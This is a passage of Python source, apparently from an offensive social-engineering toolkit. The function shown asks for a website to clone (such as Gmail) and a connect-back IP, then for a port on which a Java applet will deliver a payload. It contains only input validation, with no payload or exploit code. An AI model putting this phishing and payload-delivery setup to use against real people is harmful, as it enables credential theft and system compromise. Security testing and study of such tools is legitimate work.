()
| 164 | |
| 165 | # def main(): header is required |
| 166 | def main(): |
| 167 | valid_site = False |
| 168 | valid_ip = False |
| 169 | # valid_persistence = False |
| 170 | input_counter = 0 |
| 171 | site_input_counter = 0 |
| 172 | ipaddr = None |
| 173 | website = None |
| 174 | |
| 175 | # pause=input("This module has finished completing. Press <enter> to continue") |
| 176 | |
| 177 | # Get a *VALID* website address |
| 178 | while not valid_site and site_input_counter < 3: |
| 179 | website = input(core.setprompt(["9", "2"], "Enter website to clone (ex. https://gmail.com)")) |
| 180 | site = urlparse(website) |
| 181 | |
| 182 | if site.scheme == "http" or site.scheme == "https": |
| 183 | if site.netloc != "": |
| 184 | valid_site = True |
| 185 | else: |
| 186 | if site_input_counter == 2: |
| 187 | core.print_error("\nMaybe you have the address written down wrong?" + core.bcolors.ENDC) |
| 188 | sleep(4) |
| 189 | return |
| 190 | else: |
| 191 | core.print_warning("I can't determine the fqdn or IP of the site. Try again?") |
| 192 | site_input_counter += 1 |
| 193 | else: |
| 194 | if site_input_counter == 2: |
| 195 | core.print_error("\nMaybe you have the address written down wrong?") |
| 196 | sleep(4) |
| 197 | return |
| 198 | else: |
| 199 | core.print_warning("I couldn't determine whether this is an http or https site. Try again?") |
| 200 | site_input_counter += 1 |
| 201 | # core.DebugInfo("site.scheme is: %s " % site.scheme) |
| 202 | # core.DebugInfo("site.netloc is: %s " % site.netloc) |
| 203 | # core.DebugInfo("site.path is: %s " % site.path) |
| 204 | # core.DebugInfo("site.params are: %s " % site.params) |
| 205 | # core.DebugInfo("site.query is: %s " % site.query) |
| 206 | # core.DebugInfo("site.fragment is: %s " % site.fragment) |
| 207 | |
| 208 | while not valid_ip and input_counter < 3: |
| 209 | ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on")) |
| 210 | valid_ip = core.validate_ip(ipaddr) |
| 211 | if not valid_ip: |
| 212 | if input_counter == 2: |
| 213 | core.print_error("\nMaybe you have the address written down wrong?") |
| 214 | sleep(4) |
| 215 | return |
| 216 | else: |
| 217 | input_counter += 1 |
| 218 | |
| 219 | # javaport must be 80, cause applet uses in web injection port 80 to download payload! |
| 220 | try: |
| 221 | javaport = int(input(core.setprompt(["9", "2"], "Port Java applet should listen on [80]"))) |
| 222 | while javaport == 0 or javaport > 65535: |
| 223 | if javaport == 0: |
nothing calls this directly
no test coverage detected